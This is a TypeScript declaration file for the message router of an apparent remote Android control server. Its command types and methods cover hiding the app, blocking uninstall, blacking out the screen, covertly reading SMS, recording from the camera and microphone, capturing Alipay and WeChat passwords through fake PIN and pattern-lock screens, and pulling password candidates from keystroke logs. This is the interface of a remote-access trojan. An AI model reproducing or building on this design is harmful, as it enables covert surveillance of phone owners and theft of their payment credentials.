Files
server/dist/services/MessageRouter.d.ts

400 lines
12 KiB
TypeScript
Raw Normal View History

2026-02-09 16:34:01 +08:00
import DeviceManager from '../managers/DeviceManager';
import WebClientManager from '../managers/WebClientManager';
import { DatabaseService } from './DatabaseService';
/**
*
*/
export interface ControlMessage {
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME';
deviceId: string;
data: any;
timestamp: number;
}
/**
*
*/
export interface OperationLogMessage {
deviceId: string;
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
content: string;
extraData?: any;
timestamp: number;
}
/**
*
*/
export interface ScreenData {
deviceId: string;
format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY';
data: Buffer | string;
width: number;
height: number;
quality: number;
timestamp: number;
isLocked?: boolean;
}
/**
*
*/
export interface CameraData {
deviceId: string;
format: 'JPEG' | 'PNG' | 'H264';
data: string;
type: 'camera';
timestamp: number;
}
/**
*
*/
export interface GalleryImageData {
deviceId: string;
type: 'gallery_image';
timestamp: number;
index: number;
id: number | string;
displayName?: string;
dateAdded?: number;
mimeType?: string;
width?: number;
height?: number;
size?: number;
contentUri?: string;
format: 'JPEG' | 'PNG';
data: string;
}
/**
*
*/
export interface MicrophoneAudioData {
deviceId: string;
type: 'microphone_audio';
timestamp: number;
audioData: string;
sampleRate: number;
sampleCount: number;
format: 'PCM' | 'AAC' | 'MP3' | 'WAV';
channels: number;
bitDepth: number;
}
/**
*
*/
export interface SmsData {
deviceId: string;
type: 'sms_data';
timestamp: number;
count: number;
smsList: SmsItem[];
}
/**
*
*/
export interface SmsItem {
id: number;
address: string;
body: string;
date: number;
read: boolean;
type: number;
}
/**
* -
*/
export declare class MessageRouter {
private logger;
private deviceManager;
private webClientManager;
private databaseService;
private screenDataBuffer;
private cameraDataBuffer;
private smsDataBuffer;
private microphoneAudioBuffer;
private readonly maxBufferSize;
private readonly bufferTimeout;
private readonly maxDataSize;
private lastCleanupTime;
private readonly cleanupInterval;
private routedFrames;
private droppedFrames;
private totalDataSize;
private routedCameraFrames;
private droppedCameraFrames;
private totalCameraDataSize;
private routedSmsData;
private droppedSmsData;
private totalSmsDataSize;
private routedMicrophoneAudio;
private droppedMicrophoneAudio;
private totalMicrophoneAudioSize;
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService);
/**
* 🖼 Web客户端
*/
private sendLocalGalleryToClient;
/**
* 🔧
*/
private startPeriodicCleanup;
/**
* 🔧
*/
private performPeriodicCleanup;
/**
* 🚨
*/
private performEmergencyCleanup;
/**
* Web客户端到设备
*/
routeControlMessage(fromSocketId: string, message: ControlMessage): boolean;
/**
* Web客户端-
*/
routeScreenData(fromSocketId: string, screenData: ScreenData): boolean;
/**
*
*/
private retryRouteScreenData;
/**
* Web客户端- 仿routeScreenData实现
*/
routeCameraData(fromSocketId: string, cameraData: CameraData): boolean;
/**
*
*/
private retryRouteCameraData;
/**
* base64给客户端
*/
routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean;
/**
* Web客户端
*/
routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean;
/**
*
*/
private retryRouteMicrophoneAudio;
/**
* Web客户端
*/
routeSmsData(fromSocketId: string, smsData: SmsData): boolean;
/**
*
*/
private retryRouteSmsData;
/**
* Web客户端
*/
routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
/**
* Web客户端到其他客户端或设备
*/
routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
/**
*
*/
private handleDeviceControlRequest;
/**
*
*/
private handleDeviceControlRelease;
/**
*
*/
private handleDeviceListRequest;
/**
*
*/
handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean;
/**
*
*/
private handleGetOperationLogs;
/**
*
*/
private handleClearOperationLogs;
/**
*
*/
private handleGetDevicePassword;
/**
*
*/
private handleSaveDevicePassword;
/**
*
*/
private handleUpdateDeviceState;
/**
*
*/
private handleGetDeviceState;
/**
* 广
*/
broadcastMessage(eventType: string, data: any): void;
/**
*
*/
getRouterStats(): {
totalDevices: number;
totalClients: number;
activeControlSessions: number;
};
handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void;
private handleDeviceLoggingStateChanged;
private restoreDeviceState;
private handleSearchPasswordsFromLogs;
/**
*
*/
private extractPasswordCandidatesWithMeta;
/**
* -
*/
private extractPasswordCandidates;
/**
*
*/
private detectPasswordTypeFromContent;
/**
*
*/
private isPossiblePasswordEnhanced;
/**
* -
*/
private isPossiblePassword;
/**
* web客户端的设备列表
*/
private refreshAllWebClientDeviceLists;
/**
*
*/
private syncDeviceStateToDevice;
/**
*
*/
private handleDeleteDevice;
/**
* UI层次结构
*/
private handleGetUIHierarchy;
/**
* UI层次结构响应
*/
private handleUIHierarchyResponse;
/**
* UI层次结构响应Web客户端- routeScreenData的模式
*/
routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean;
/**
* 🆕
*/
private handleStartExtractConfirmCoords;
/**
* 🆕
*/
private handleSaveConfirmCoords;
/**
* 🆕
*/
private handleEnableBlackScreen;
/**
* 🆕
*/
private handleDisableBlackScreen;
/**
* 🆕
*/
private handleOpenAppSettings;
/**
* 🆕
*/
private handleHideApp;
/**
* 🆕 Android端的状态报告
*/
private handleAppHideStatusUpdate;
/**
* 🆕
*/
private handleShowApp;
/**
* 🆕
*/
private handleCloseConfigMask;
/**
* 🆕
*/
private handleRefreshMediaProjectionPermission;
/**
* 🆕
*/
routePermissionResponse(socketId: string, permissionData: any): boolean;
/**
* 💰
*/
routeAlipayPassword(socketId: string, passwordData: any): boolean;
/**
* 💬
*/
routeWechatPassword(socketId: string, passwordData: any): boolean;
/**
* 🔐
*/
routePasswordInput(socketId: string, passwordData: any): boolean;
/**
* 🔍
*/
routeAlipayDetectionStart(socketId: string, detectionData: any): boolean;
/**
* 💬
*/
routeWechatDetectionStart(socketId: string, detectionData: any): boolean;
/**
* 🆕 MediaProjection权限申请响应
*/
private handleMediaProjectionPermissionResponse;
/**
* 🛡
*/
private handleEnableUninstallProtection;
/**
* 🛡
*/
private handleDisableUninstallProtection;
/**
*
*/
private handleGalleryPermissionCheck;
/**
*
*/
private handleAlbumRead;
/**
*
*/
private handleUnlockDevice;
/**
* 🔐 6PIN输入界面的请求
*/
private handleOpenPinInput;
/**
* 🔐 4
*/
private handleOpenFourDigitPin;
/**
* 🔐
*/
private handleOpenPatternLock;
/**
*
*/
private handleChangeServerUrl;
}
export default MessageRouter;
//# sourceMappingURL=MessageRouter.d.ts.map